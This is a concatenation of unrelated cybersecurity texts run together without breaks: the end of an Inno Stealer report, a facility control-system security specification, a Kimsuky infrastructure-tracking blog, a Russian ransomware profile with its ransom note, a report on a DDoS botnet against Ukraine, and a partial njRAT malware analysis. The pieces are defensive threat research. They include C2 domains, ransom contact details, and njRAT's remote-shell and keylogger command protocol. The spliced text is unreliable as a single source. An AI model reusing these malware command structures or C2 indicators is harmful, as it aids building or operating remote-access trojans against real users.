targeted browsers and crypto wallets is extensive, including Chrome, Edge, Brave, Opera, Vivaldi, 360 Browser, and Comodo. An interesting characteristic of Inno Stealer is that the network management and the data-stealing functions are multi-threaded. All stolen data is copied via a PowerShell command to the user’s temporary directory, encrypted, and later sent to the operator’s command and control server (“windows-server031.com”). The stealer can also fetch additional payloads, an action only performed at night time, possibly to take advantage of a period when the victim is not at the computer. These additional Delphi payloads, which take the form of TXT files, employ the same Inno-based loader that fiddles with the host’s security tools and use the same persistence-establishment mechanism. Their extra capabilities include stealing clipboard information and exfiltrating directory enumeration data. ## Security Advice The whole Windows 11 upgrade situation has created a fertile ground for the proliferation of these campaigns, and this is not the first time that something like that has been reported. It is recommended to avoid downloading ISO files from obscure sources and only perform major OS upgrades from within your Windows 10 control panel or get the installation files straight from the source. If an upgrade to Windows 11 is unavailable to you, there’s no point attempting to bypass the restrictions manually, as this will come with a set of downsides and severe security risks.
# SECTION 25 05 11 ## CYBERSECURITY FOR FACILITY-RELATED CONTROL SYSTEMS ### PART 1 GENERAL #### 1.1 CONTROL SYSTEM APPLICABILITY There are multiple versions of this Section associated with this project. Different versions have requirements applicable to different control systems. This specific Section applies only to the following control systems: [_____]. #### 1.2 RELATED REQUIREMENTS All Sections containing facility-related control systems or control system components are related to the requirements of this Section. Review all specification sections to determine related requirements. #### 1.3 REFERENCES The publications listed below form a part of this specification to the extent referenced. The publications are referred to within the text by the basic designation only. - **AMERICAN SOCIETY OF HEATING, REFRIGERATING AND AIR-CONDITIONING ENGINEERS (ASHRAE)** - ASHRAE 135 (2016) BACnet—A Data Communication Protocol for Building Automation and Control Networks - **INSTITUTE OF ELECTRICAL AND ELECTRONICS ENGINEERS (IEEE)** - IEEE 802.1x (2010) Local and Metropolitan Area Networks - Port Based Network Access Control - **NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST)** - NIST FIPS 201-2 (2013) Personal Identity Verification (PIV) of Federal Employees and Contractors - **U.S. DEPARTMENT OF DEFENSE (DOD)** - DODI 8551.01 (2014) Ports, Protocols, and Services Management (PPSM) - DTM 08-060 (2008) Policy on Use of Department of Defense (DoD) Information Systems - Standard Consent Banner and User Agreement #### 1.4 DEFINITIONS **1.4.1 Computer** As used in this Section, a computer is one of the following: - a device running a non-embedded desktop or server version of Microsoft Windows - a device running a non-embedded version of MacOS - a device running a non-embedded version of Linux - a device running a version or derivative of the Android OS - a device running a version of Apple iOS **1.4.2 Network Connected** A component is network connected only when the device has a network transceiver directly connected to the network and implements the network protocol. **1.4.3 User Account Support Levels** The support for user accounts is categorized in this Section as one of three levels: - **1.4.3.1 FULLY Supported**: Device supports configurable individual accounts. - **1.4.3.2 MINIMALLY Supported**: Device supports a small, fixed number of accounts. - **1.4.3.3 NOT Supported**: Device does not support any Access Enforcement. **1.4.4 User Interface** Generally, a user interface is hardware on a device allowing user interaction. There are three types of user interfaces defined in this Section: - **1.4.4.1 Limited Local User Interface**: Interaction is limited and cannot be modified in the field. - **1.4.4.2 Full Local User Interface**: Interaction and displays are field-configurable. - **1.4.4.3 Remote User Interface**: Allows user interaction with a different Server device. #### 1.5 ADMINISTRATIVE REQUIREMENTS **1.5.1 Coordination** Coordinate the execution of this Section with the execution of all other Sections related to control systems. **1.6 SUBMITTALS** The Guide Specification technical editors have designated those items that require Government approval with a "G." **1.7 QUALITY CONTROL** For the [_____] control system: [_____]. **1.8 DELIVERY, STORAGE, AND HANDLING** For the [_____] control system: [_____]. **1.9 CYBERSECURITY DOCUMENTATION** Provide a completed Cybersecurity Interconnection Schedule documenting connections between the installed system and other systems. ### PART 2 PRODUCTS (NOT USED) ### PART 3 EXECUTION #### 3.1 ACCESS CONTROL REQUIREMENTS **3.1.1 User Accounts** Any device supporting user accounts must limit access according to specified limitations for each account. **3.1.2 Unsuccessful Logon Attempts** Devices which MINIMALLY support accounts are not required to lock based on unsuccessful logon attempts. **3.1.3 System Use Notification** Web interfaces must display a warning banner meeting the requirements of DTM 08-060. **3.1.4 Permitted Actions Without Identification or Authentication** The control system must require identification and authentication before allowing any actions by a user acting from a user interface which MINIMALLY or FULLY supports accounts. **3.1.5 Wireless Access** Unless explicitly authorized by the Government, do not use any wireless communication. #### 3.2 CYBERSECURITY AUDITING For devices that have STIG/SRGs related to audit events, comply with the requirements of those STIG/SRGs. **3.2.1 Audit Events, Content of Audit Records, and Audit Generation** For devices that have STIG/SRGs related to audit events, comply with the requirements of those STIG/SRGs. ### END OF SECTION 25 05 11
# Tracking ‘Kimsuky’, the North Korea-based cyber espionage group: Part 1 **18 February, 2020** For years, we have tracked the espionage threat actor we call Black Banshee (also known in open source as Kimsuky). In 2019, it launched multiple parallel cyber espionage campaigns, from large-scale credential harvesting to narrowly targeted espionage and exfiltration operations. The foundations for this activity began in August 2018, when we observed Black Banshee setting up a substantial number of domains impersonating organisations across the government, academia, and policy sectors. This formed the basis for multiple spear-phishing and credential harvesting campaigns. In tracking Black Banshee, we have identified a number of highly characteristic elements of the threat actor’s tools, techniques, and procedures (TTPs). In the two parts of this retrospective look at Black Banshee’s 2019 activity, we will: 1. Examine the overlaps in Black Banshee’s infrastructure and modus operandi that have allowed us to connect multiple strands of its operations more clearly than detailed so far in open source; 2. Connect its 2019 campaigns, linking to activity dating back to late 2018; and, 3. Highlight how it has operated to achieve certain strategic objectives. ## Tradecraft: most used domains and naming conventions ### Infrastructure connections: IP addresses Firstly, let us dive into Black Banshee’s mannerisms in setting up its infrastructure. Across 2019, it was possible to tie together different Black Banshee campaigns through the IP addresses used. For example, on numerous occasions command and control domains for Black Banshee malware resolved to IP addresses in the following ranges - 185.224.137[.]0/23 and 185.224.138[.]0/23. The address 185.224.137[.]164, for one, has been used since at least December 2018 and up to January 2020 to serve at least 24 malicious Black Banshee domains, including (but not limited to): - user-daum-centre[.]pe[.]hu (from 2019-04-15 to 2019-05-21); - rrnaver[.]com (from 2019-08-21 to 2020-01-01); and, - nortice-centre[.]esy[.]es (from 2020-01-02 to 2020-01-28). It also hosted, between June and November 2019, the domain kakao-check[.]esy[.]es, which served as command and control (C2) for a sample of a new malware family that we call MyDogs – a RAT thought to be unique to Black Banshee, and which was first reported on in open source by AhnLab as part of its analysis on Operation Red Salt. ### Infrastructure connections: domains Among the domains used by Black Banshee, a few stood out for frequency across its campaigns: - pe[.]hu - numerous subdomains on this domain were used in Operation Kabar Cobra, Operation Kitty Phishing, and Operation WildCommand; additional subdomains were listed in a Financial Security Institute VirusBulletin report detailing the tradecraft of numerous operations attributed to Black Banshee; - hol[.]es - subdomains on this domain were used for both the WildCommand cluster and Operation MoneyHolic. Incidentally, some of the malware involved in Operation MoneyHolic were samples of MyDogs malware, which was also used in Operation Red Salt; - esy[.]es - subdomains on esy[.]es further strengthen the connections in infrastructure setup between the WildCommand cluster and Operation MoneyHolic, as well as overlaps with the infrastructure used for MyDogs malware used in Operation Red Salt; and, - 890m[.]com - subdomains on 890m[.]com were implicated in the WildCommand cluster, as well as in activity using KONNI that had ties to Black Banshee, and in other Black Banshee activity. While these domains are available for anyone to use, and not all of their subdomains are malicious, Black Banshee used subdomains on these domains multiple times across different operations. Other North Korea-based threat actors, especially APT37/Reaper, have also made use of some of the same domains throughout 2019. ### Infrastructure connections: naming Even where the subdomains’ parent domain was not the same, our analysts noticed a pattern of naming in adversary-registered infrastructure. We saw Black Banshee go down three main routes for domain naming: 1. Naming highly specific to an organisation or institution being targeted or impersonated (and often used for credential phishing); 2. Keywords referring to software used specifically in South Korea, often combined with more generic, office- or enterprise-related themes; and, 3. Seemingly generic names, including ones impersonating email services, or domains with similar or incremental numbering. Black Banshee was also consistent in the setting up of command and control server-side folders: - “/Est/up” and “/Est/down” were server-side paths seen in Operation Kabar Cobra, Operation Kitty Phishing, and Operation WildCommand – folders to stage files uploaded or downloaded by infected machines. We observed a similar server-side path being referred to by a new sample of a Black Banshee Windows Script File downloader first seen on 31 December 2019; this likely indicates that the threat actor is maintaining a consistent approach to infrastructure management and naming. The server-side path “/bbs/data/temp” was observed in both Operation Kabar Cobra and Operation Kitty Phishing. Its parent path, “/bbs/data”, was observed in the context of Operation Red Salt, with one of the sub-folders associated with malware that was later tied by ESTSecurity to KONNI. Additionally, the same path was also observed on APT37/Reaper command and control servers. Finally, “/bbs/filter” was present on a C2 for MyDogs malware related to Operation Red Salt. ## In Summary In tracking North Korea-based threat actor Black Banshee (also known as Kimsuky), we observed the threat actor display a series of infrastructure set-up habits. These included the use of specific IP ranges to set up actor-controlled command and control domains, the naming conventions used for such domains, and server-side folder names consistently reused by Black Banshee across its C2s. Such habits and TTPs effectively allowed us to connect multiple campaigns through direct links and similarities in command and control infrastructure. But that’s not all. Having connected multiple Black Banshee’s operations across 2019, we observed that distinct “clusters” of activity appeared – groups of campaigns and operations tied together by infrastructure links, similar tradecraft, shared indicators, and matching targeting. In an upcoming blog, we will detail the connections between campaigns found across these clusters and offer strategic insight about their coherence in terms of TTPs and objectives.
# Javalocker Ransomware ## JavaEncrypt Ransomware Этот крипто-вымогатель шифрует данные пользователей с помощью AES/DES, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: javalocker (написано в записке). ### Обнаружения: - DrWeb: Java.Encoder.1, Java.Encoder.2 - BitDefender: Trojan.Agent.EMXP, Trojan.JAVA.Agent.BMZ, Java.Trojan.Agent.LQ - ESET-NOD32: A Variant Of Java/Filecoder.AI, Java/Filecoder.AJ - Kaspersky: UDS:DangerousObject.Multi.Generic - Symantec: Ransom.Wannacry, Trojan.Maljava - GData: Java.Trojan.Agent.S5SUV9, Java.Trojan.Agent.LQ (2x) - Fortinet: Java/Filecoder.AI!tr - Microsoft: PUA:Win32/Presenoker - Qihoo-360: Generic/Trojan.05f, Generic/Trojan.03d К зашифрованным файлам добавляются расширения: - .javaencrypt - .javalocker **Внимание!** Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Активность этого крипто-вымогателя пришлась на начало марта 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Записка с требованием выкупа называется: readmeonnotepad.javaencrypt. ### Содержание записки о выкупе: **Q:** What Happen to my computer? **A:** Your personal files are encrypted by javalocker! **Q:** How can I recover my Files? **A:** You need to send 300$ of bitcoins to the following address: BAW4VM2dhxYgXeQepOHKHSQVG6NgaEb94 then contact soviet@[email protected]! **Перевод записки на русский язык:** **Вопрос:** Что случилось с моим компьютером? **Ответ:** Ваши личные файлы зашифрованы javalocker! **Вопрос:** Как мне вернуть мои файлы? **Ответ:** Вам надо отправить 300$ биткойнов на следующий адрес: BAW4VM2dhxYgXeQepOHKHSQVG6NgaEb94, а затем написать на soviet@[email protected]! ### Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. ### Список файловых расширений, подвергающихся шифрованию: .123, .3dm, .3ds, .3g2, .3gp, .602, .accdb, .aes, .arc, .asc, .asf, .asm, .asp, .avi, .backup, .bak, .bat, .bmp, .brd, .bz2, .cgm, .cmd, .cpp, .crt, .csr, .csv, .dbf, .dch, .der, .dif, .dip, .djvu, .doc, .docb, .docm, .docx, .dwg, .edb, .eml, .fla, .flv, .frm, .gho, .gif, .gpg, .html, .hwp, .ibd, .ico, .ini, .iso, .jfif, .jpeg, .jpg, .jsp, .key, .lay, .lay6, .ldf, .m3u, .m4u, .max, .mdb, .mdf, .mid, .mkv, .mml, .mov, .mp3, .mp4, .mpeg, .mpg, .msg, .mui, .myd, .myi, .nef, .obd, .odg, .odp, .ods, .odt, .onetoc2, .ost, .otg, .otp, .ots, .ott, .p12, .paq, .pas, .pdf, .pem, .pfx, .php, .png, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx, .ppt, .pptx, .ps1, .psd, .pst, .pub, .rar, .raw, .reg, .rtf, .sch, .sldm, .sldx, .slk, .sln, .snt, .sql, .sqlite3, .sqlitedb, .stc, .std, .sti, .stw, .suo, .svg, .swf, .sxc, .sxd, .sxi, .sxm, .sxw, .tar, .tbk, .tif, .tiff, .txt, .uop, .uot, .vbs, .vcd, .vdi, .vmdk, .vmx, .vob, .vsd, .vsdx, .wav, .wb2, .wk1, .wks, .wma, .wmv, .xls, .xlsm, .xlsx, .zip (159 расширений). Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. Пропускает файлы с расширениями: - .java - .javalocker - .javaencrypt ### Файлы, связанные с этим Ransomware: - 14370-0db8a7d767a2454998bf3ee875676929.jar - JAVABASIC.jar - javaw.exe - java.io - java.lang - java.security - java.util - java.util.regex - javax.crypto - DESkey.dat - readmeonnotepad.javaencrypt - название текстового файла - <random>.exe - случайное название вредоносного файла ### Расположения: - \Desktop\ - \User_folders\ - \%TEMP%\ ### Записи реестра, связанные с этим Ransomware: См. ниже результаты анализов. ### Сетевые подключения и связи: - Email: soviet@[email protected] - BTC: BAW4VM2dhxYgXeQepOHKHSQVG6NgaEb94 См. ниже в обновлениях другие адреса и контакты. ### Скриншот простого анализа: Результаты анализов: - Hybrid analysis - VirusTotal analysis - Intezer analysis - ANY.RUN analysis - VMRay analysis - VirusBay samples - MalShare samples - AlienVault analysis - CAPE Sandbox analysis - JOE Sandbox analysis ### Степень распространённости: низкая. Подробные сведения собираются регулярно. Присылайте образцы. ### ИСТОРИЯ СЕМЕЙСТВА ### БЛОК ОБНОВЛЕНИЙ Обновление от 11 марта 2020: - Расширение: .javaencrypt - Записка: readmeonnotepad.javaencrypt - Email: soviet@[email protected] - BTC: BAW4VM2dhxYgXeQepOHKHSQVG6NgaEb94 - Файл: JAVABASIC.jar - Результаты анализов: VT + HA + AR **Содержание записки:** **Q:** What Happen to my computer? **A:** Your personal files are encrypted by javalocker! **Q:** How can I recover my Files? **A:** You need to send 300$ of bitcoins to the following address: BAW4VM2dhxYgXeQepOHKHSQVG6NgaEb94 then contact soviet@[email protected]! Чтобы отобразить окно с требованием выкупа, вымогатель копирует себя в папку Автозапуска. ### Обновление от 11 марта 2020: Результаты анализов: VT + VT ### Внимание! Файлы можно расшифровать. Используется статический DES-ключ. Скачайте дешифровщик от Emsisoft. ### Спасибо: Jirehlov, onion (jishuzhain), Michael Gillespie, Andrew Ivanov (author), Petrovic, to the victims who sent the samples.
# SecurityScorecard Discovers New Botnet, ‘Zhadnost,’ Responsible for Ukraine DDoS Attacks **By Ryan Slaney, Staff, Threat Researcher** **Posted on March 10th, 2022** ## Executive Summary SecurityScorecard (SSC) has identified three separate DDoS attacks targeting Ukrainian government and financial websites leading up to and during Russia’s invasion of Ukraine. SSC discovered a botnet of more than 3,000 unique IP addresses across multiple countries and continents, which were the source of the DDoS attacks consisting of HTTP floods and DNS amplification. SSC has named this botnet “Zhadnost” – Russian for “Greed.” Most Zhadnost bots are routers, primarily MikroTik, with misconfigured DNS recursion settings and other known vulnerabilities. The DDoS attacks appeared to have had a minimal, temporary impact on their targets. Government websites and banking services were quickly restored, and customers' balances were not affected. We assess that the IP addresses used in the first DDoS attack were a combination of Zhadnost bots and other botnets possibly controlled by criminal actors. The second and third DDoS attacks used only Zhadnost bots. Attributing Zhadnost and the DDoS attacks to any one threat actor is difficult; however, we assess with moderate confidence that Russia, or Russian-aligned actors, are likely behind this DDoS campaign. ## Background On November 10, 2021, reports emerged of unusual movement of Russian troops near the borders of Ukraine. By November 28, Ukraine reported a buildup of 92,000 Russian troops. In January 2022, Russian troops began arriving in Belarus for military exercises. Throughout December 2021 and January 2022, a series of diplomatic talks took place between Russia, NATO, and Ukraine, during which Russia proposed limits on NATO’s activities in Eastern Europe. NATO/Ukraine rejected these proposals and warned Russia of strong economic measures should it invade Ukraine. Russia continued to build up its forces along Ukraine’s border and in the Black Sea. NATO and Western countries pledged their support to Ukraine and began providing military equipment, intelligence, and financial aid. On February 24, Russian President Putin announced he had decided to launch a “special military operation” in Ukraine. Shortly thereafter, explosions were reported in several Ukrainian cities, and Russian military vehicles began crossing Ukrainian borders. This whitepaper discusses SecurityScorecard’s investigation into the use of DDoS attacks against Ukrainian infrastructure leading up to and during Russia’s invasion. We have identified three separate DDoS attacks targeting Ukrainian government and financial websites in a likely effort to take them offline, thereby denying access to news, information, and currency from official Ukrainian sources. ## Methodology According to various open sources and media reports, as well as SecurityScorecard’s own data, the following websites were targeted by DDoS attacks on three different occasions: - Ukrainian Ministry of Foreign Affairs - Ukrainian Ministry of Defence - Ukrainian Ministry of Internal Affairs - Security Service of Ukraine - Ukrainian Cabinet of Ministers - Oschadbank - Privatbank We resolved the IP addresses of these domains and conducted netflow analysis for the period corresponding with the DDoS attacks. We discovered more than 3,000 unique IP addresses that were the source of the DDoS attacks. Notably, none of the IP addresses involved in the observed DDoS attacks were located in Russia or Belarus. We then conducted further research and analysis on the 50 most active IP addresses from each attack using proprietary data enrichment techniques and intelligence sources. ### February 15 DDoS Attack On February 15, 2022, Ukraine’s minister of digital transformation, Mykhailo Fedorov, announced that a cyberattack against the websites of Ukraine’s defense ministry and army, as well as the interfaces of the country’s two largest banks, was the largest assault of its kind in the country's history and “bore traces of foreign intelligence services.” Ilya Vityuk, the head of the Ukrainian Intelligence Agency’s Cyber Security Department, blamed Russia for the attack, citing evidence that the attack likely cost “millions of dollars” to execute. From our analysis, SSC identified more than 200 unique IP addresses involved in the February 15 DDoS attack. The attack consisted of HTTPS flooding on port 443, designed to overwhelm a targeted server with HTTP requests. Analysis of the 50 most active IP addresses revealed that approximately half of them appear to be MikroTik routers or other devices running SquidProxy. Our data also revealed that the majority of the IP addresses have previously been associated with activity from various implants, including Xorddos, Cobaltstrike, Amadey, Trickbot, Qakbot, Lokibot, Jedobot, Bluebot, Betabot, Gumblar, Kasidet, PonyLoader, and Smokeloader. Unfortunately, SSC cannot determine if the malicious HTTP requests were sent from the routers themselves, compromised hosts behind them, or a combination of both. Fortunately, this attack appeared to have minimal impact on its targets. According to a statement from Victor Zhora of the Ukrainian Center for Strategic Communications and Information Security, Ukrainian cybersecurity officials managed to significantly reduce the amount of harmful traffic to the websites. Banking services were quickly restored, and customers’ balances were not affected. ### February 23 and 28 DDoS Attacks On February 23, another DDoS attack against Ukrainian websites was reported by Mykhailo Fedorov. SSC discovered another DDoS attack that took place between February 27-28 that was largely unreported in the media. From our analysis, SSC identified more than 3,000 unique IP addresses involved in DDoS attacks on February 23 and 27-28. Analysis of these IP addresses revealed that the vast majority are running “MikroTik Bandwidth-test server” on port 2000, with a connection signature of \x01\x00\x00\x00, recursion enabled on UDP/TCP port 53, and multiple versions of MikroTik RouterOS services on various ports. Analysis of the 50 most active IPs from the second and third attacks revealed that 76% and 92%, respectively, can be identified as MikroTik devices. 100% of the IPs identified had DNS recursion enabled on port 53. SSC assesses that the threat actor sent spoofed DNS requests to the MikroTik devices, which allowed DNS recursion. This is known as an amplifier attack because it takes advantage of misconfigured DNS servers to reflect the attack onto a target while amplifying the volume of packets. SSC has named the botnet used to conduct the second and third DDoS attacks “Zhadnost.” Zhadnost is somewhat similar to the Mēris botnet discovered by Russia-based companies Yandex and Qrator Labs in 2021. Yandex/Qrator Labs reported that 90 to 95% of the Mēris bots that had recently attacked Yandex with a DDoS attack had MikroTik Bandwidth Test running on port 2000. According to a different report released by NetScout, there are at least two distinct MikroTik-based IoT botnets inhabiting the same population of unpatched, exploitable MikroTik routers. In response to the Yandex/Qrator Labs discovery, MikroTik released a report indicating Mēris bots are MikroTik routers that were compromised in 2018. There was no new vulnerability in RouterOS, and there was no malware hiding inside the RouterOS filesystem; rather, the attacker was reconfiguring RouterOS devices for remote access. Unfortunately, closing the old vulnerability does not immediately protect these routers. Although MikroTik provided mitigation advice, it did not mention anything about ensuring that DNS recursion was properly configured. However, there is evidence that MikroTik is aware of this vulnerability. According to MikroTik’s website, every MikroTik that has the “Allow-Remote-Requests” feature turned on is a potential attack vector. Preliminary analysis using Qrator Labs’ Mēris identification tool has revealed that none of the Zhadnost IP addresses are part of the Mēris botnet. No such identification tool for Dvinis nodes exists. However, only the first attack consisted of HTTP floods, which Dvinis is known for. Zhadnost bots don’t require a compromised router, simply a router with misconfigured DNS recursion. Therefore, SSC assesses that it is also unlikely that Zhadnost IPs are part of Dvinis. Thus, we believe they are a new botnet, controlled by a different actor. The analysis of the 50 most active Zhadnost bots/MikroTik routers used in the second and third attacks has also revealed that several devices behind them have previously been associated with activity from various implants, including Amadey, Betabot, Gumblar, and Lokibot. We assess that the implant activity is incidental and not connected to the deployment of Zhadnost bots. To create Zhadnost, the threat actor had to establish and maintain a list of MikroTik and other devices with misconfigured DNS recursion settings, which would forward spoofed requests to the targeted websites. This could be easily done using tools such as Shodan and Google Dorks. According to our Attack Surface Intelligence Data, there are at least 875,000 MikroTik devices located worldwide, potentially representing a near-infinite number of bots, provided DNS recursion is not properly configured on these devices. ## Attribution Attributing Zhadnost and the DDoS attacks to any one threat actor is difficult, given that anyone could have taken advantage of this misconfiguration with little effort. Furthermore, it is difficult to differentiate the traffic from the router itself from the legitimate traffic of the devices behind it, making identification of the command and control infrastructure extremely difficult. However, taking into account the current geopolitical factors, and considering which country is likely to gain from such attacks, SSC can assess with moderate confidence that Russia, or Russian-aligned actors, are likely behind this DDoS campaign. ## Key Insights Despite the involvement of MikroTik devices in all three attacks, further comparison reveals that the first attack is quite different from the second or third: | Attack Date | Feb 15th | Feb 23rd | February 28th | |-------------------|----------|----------|----------------| | % MikroTik | 50% | 76% | 92% | | DDoS Attack Type | HTTP Flood | DNS Amplification | DNS Amplification | | # of unique IPs | 200 | 1892 | 1958 | | % previously compromised | 50% | 4% | 12% | | DNS Recursion Enabled % | 20% | 100% | 100% | Based on these differences, SSC assesses with moderate confidence that the IP addresses used to conduct the second and third DDoS attacks against Ukrainian government and financial websites were solely Zhadnost bots. We assess that the IP addresses used in the first attack were a combination of Zhadnost bots and other botnets possibly controlled by criminal actors. SSC also assesses with moderate confidence that the DDoS attacks had very limited impact on their targets. This is likely a result of Ukraine being adequately prepared to handle such attacks, since similar tactics had been used during previous attacks. Furthermore, various Ukrainian officials have made public statements regarding Ukraine’s success in minimizing the effects of attacks. ## Outlook So far, the DDoS attacks SSC has observed have targeted government and financial websites and do not appear to have much impact. This leads to the possibility that the threat actor will target more critical targets in the next attacks, such as networks used for power generation, communications, and by hospitals and military units. As the Russian military’s efforts become more aggressive to overcome the stiff Ukrainian resistance, we expect the cyber attacks towards Ukraine to follow suit. We also expect to see attacks on NATO and Western countries in retaliation for the sanctions placed on Russia and the aid provided to Ukraine. ## Recommendations - SSC recommends that organizations check the DNS recursion settings in their routers, whether they are MikroTik or another vendor. It is recommended that DNS recursion is disabled if it is not required. If required, it should be configured to only conduct recursion for trusted domains/hosts. - It is critical to put DDoS mitigations in place, via a service like Cloudflare, Akamai, or AWS Cloudfront. Having a firewall will not stop the volume of traffic observed against Ukrainian targets. - Furthermore, blocking Russian IPs will not stop DDoS attacks. The attacks are coming from across the world from neutral countries in Latin America, the EU, and Southeast Asia. ## IoCs Please contact [email protected] for IoCs associated with Zhadnost and the DDoS attacks on Ukrainian websites. ## Standing up for Peace and Democracy SecurityScorecard (SSC) stands with Ukraine during this difficult time in its history. We have always been a company of action, which is why we are making significant efforts to support our customers with timely and relevant intelligence. Some of the actions we have taken include: - Donating to the UN Refugee Agency and the Ukrainian Red Cross to assist in humanitarian efforts. We encourage the business community to make similar efforts. - Matching any SecurityScorecard employee donation, up to $100,000 (USD) in total. - Offering Ukraine-based companies free access to SecurityScorecard’s enterprise license for the next six months to protect themselves from malware resilience in light of ongoing cyber attacks. We are also providing them free access to SecurityScorecard forensics remediation team to deal with ransomware issues or to recover from any outage. Simply email [email protected] - Our Threat Research & Intelligence team has been analyzing the scope, impact, and attribution of cyber attacks involving both Russia and Ukraine. We are partnering with U.S. authorities to further aid their efforts.
# Just another analysis of the njRAT malware – A step-by-step approach ## Summary njRAT (Bladabindi) is a .NET RAT (Remote Access Trojan) that allows attackers to take control of an infected machine. This malware has been used by APT actors in targeted attacks in Colombia, by SideCopy, and has been distributed via phishing emails. The version number in our analysis is 0.6.4 and the campaign ID is “splitgateukrayna”. The following commands have been implemented: “proc”, “rss”, “rs”, “rsc”, “kl”, “inf”, “prof”, “rn”, “inv”, “ret”, “CAP”, “P”, “un”, “up”, “RG”. njRAT can also act as a keylogger because it records the pressed keys in a file which can be exfiltrated using the “kl” command. The rest of the commands will be explained in great detail in the Technical analysis section. **Analyst:** @GeeksCyber ## Technical analysis Disclaimer: We’re aware that there are some njRAT builders available that can be used to generate executables; however, we’re not interested in these tools, and we’ve performed the analysis with zero knowledge from those. **SHA256:** 833f86074592648c0a758098e34ab605a2b922d94dbab7141e2ce87acec03c35 The analysis has been performed using dnSpy. The malware tries to open a mutex called “49e91d08e684b1770e0cefa60401157a” using the OpenExisting method. If the mutex already exists, the process exits. A new mutex named “49e91d08e684b1770e0cefa60401157a” is created by calling the Mutex constructor. The path for the executable file that started the application is compared with “%AppData%\services64.exe”. The malware authors implemented a function called “CompDir”, which compares the name of the files and the name of the directories. If the above file exists (“services64.exe”), it’s deleted using the Delete function. The initial executable file is copied to “%AppData%\services64.exe”. The new file is executed using the Start method, and the current process exits. The binary sets the environment variable “SEE_MASK_NOZONECHECKS” to 1, which removes the open file security warnings. A new program-based exception is added to Windows Firewall using netsh (the program being the newly created executable). A new entry called “49e91d08e684b1770e0cefa60401157a” is added to the Run registry key. This represents a persistence mechanism, and the malware will run whenever the current user logs on. There is a 2nd persistence mechanism that is not enabled in the malware. It would copy the executable to the Startup folder. The RAT initializes a new instance of the Thread class by specifying the ThreadStart method. A new TcpClient object is created by the executable. The malware establishes a connection to the C2 server 44gang44.duckdns[.]org (dynamic DNS service) on port 2222. The volume serial number for the C drive is extracted using the GetVolumeInformation API. The file retrieves the computer name and user name using the GetComputerName and GetUserName functions. The last write time of the executable is obtained from the LastWriteTime property. The full operating system name is retrieved from the OSFullName property. njRAT determines the architecture of the system by checking the existence of the “Program Files (x86)” directory (it only exists on 64-bit systems). The capGetDriverDescriptionA API is utilized to check for the existence of a Webcam. GetForegroundWindow is used to get a handle to the foreground window (the window with which the user is currently working). The GetWindowText function copies the text of the foreground window’s title bar into a buffer. GetWindowThreadProcessId is used to retrieve the thread’s identifier that created the foreground window, along with the process’ identifier that created the window. The result of the function is represented by the MainWindowTitle property of the process extracted before, which is Base64 encoded. The malware creates the “HKEY_CURRENT_USER\Software\49e91d08e684b1770e0cefa60401157a” registry key. The buffer that contains the following information is sent to the C2 server: - Base64 of Campaign ID + volume serial number - Computer name - User name - Last write time of the malicious file - Operating system name + system’s architecture - Whether a Webcam is detected - njRAT Version - Base64 of the main window title of the process The C2 response is copied into a buffer using the Receive method. The C2 server was emulated using FakeNet. The binary expects a response that contains instructions separated by the “|’|’|” separator. Multiple commands are implemented by njRAT. ### Keylogger functionalities Every pressed key is compared with multiple function/special keys. If the keys aren’t function/special keys, they’re mapped from virtual-key code into a scan code or character value by calling the MapVirtualKey function. GetKeyboardLayout is utilized to retrieve the active input locale identifier. The ToUnicodeEx API is utilized to translate the virtual-key code and keyboard state to the corresponding Unicode character. The GetAsyncKeyState API is utilized to determine whether a key is up or down. The window title of the process where the input is detected is also included in the logs file. The binary creates a file called “services64.exe.tmp” in the same directory, where the keylogger data is stored. The WriteAllText method is utilized to populate the file. An example of a log file is displayed. Now we describe the commands implemented by njRAT. ### “proc” command **Case 1** – “proc|’|’|~” (OK.Y == |’|’|) – retrieve information about the current process and the other running processes. The current process ID is retrieved and sent to the C2 server by calling the GetCurrentProcess function. The number of processes running on the host is also transmitted to the C2 server. The malware extracts the description of the files using the FileVersionInfo.FileDescription property, and then encodes it using the Base64 algorithm. For each process, a string that contains the process ID, the full path to the process, and the encoded file description (if available), is constructed. In the case of Windows processes, the execution flow is different; however, the scope is the same. The buffer that contains the concatenation of the strings computed above is exfiltrated to the C2 server. **Case 2** – “proc|’|’|k|’|’|<Process ID>” – kill a process. The process that corresponds to the process ID transmitted by the C2 server is stopped by calling the Kill method. If successful, the malware sends a custom message to the server; otherwise, it sends an exception message. **Case 3** – “proc|’|’|kd|’|’|<Process ID>” – kill a list of processes and delete the module files. Firstly, the binary repeats the same procedure from above. It also extracts the full path to the process. The RAT tries to delete the file that corresponds to the above process. If successful, it sends a confirmation message to the C2 server. **Case 4** – “proc|’|’|re|’|’|<Process ID>” – restart a process. The binary repeats the same procedure from above. It also extracts the full path to the process. njRAT executes the file extracted above. If successful, it sends a confirmation message to the C2 server. ### “rss” command Start a hidden command prompt and redirect the StandardOutput and StandardError to the C2 server. The malware creates a “cmd.exe” process object and sets to true multiple values that indicate the following: the error output should be written to StandardError, the input should be read from StandardInput, and the output should be written to StandardOutput. The method that will handle the OutputDataReceived and ErrorDataReceived events of the newly created process is set to a function called “RS”. The method that will handle the Process.Exited events is set to a function called “ex”. The new process is started, and it begins read operations on the redirected StandardOutput and StandardError streams of the application. The RAT retrieves a late-bound value called “Data”, which represents the StandardError/StandardOutput of the cmd.exe process that is Base64 encoded and sent to the C2 server. The output of the cmd.exe process can be seen in the network traffic. In the case of a Process.Exited event, the “ex” function just sends the string “rsc” to the C2. ### “rs|’|’|<Base64 command>” command Send a command to be executed by the hidden command prompt. The C2 server can specify a command that is decoded using the Base64 algorithm, which is given as input to the cmd.exe process created earlier. It’s important to mention that the malware performs sanity checks and sends an exception message to the C2 if any error occurs in any case. ### “rsc” command Kill the hidden command prompt created earlier. The command prompt process created earlier is killed by the RAT. ### 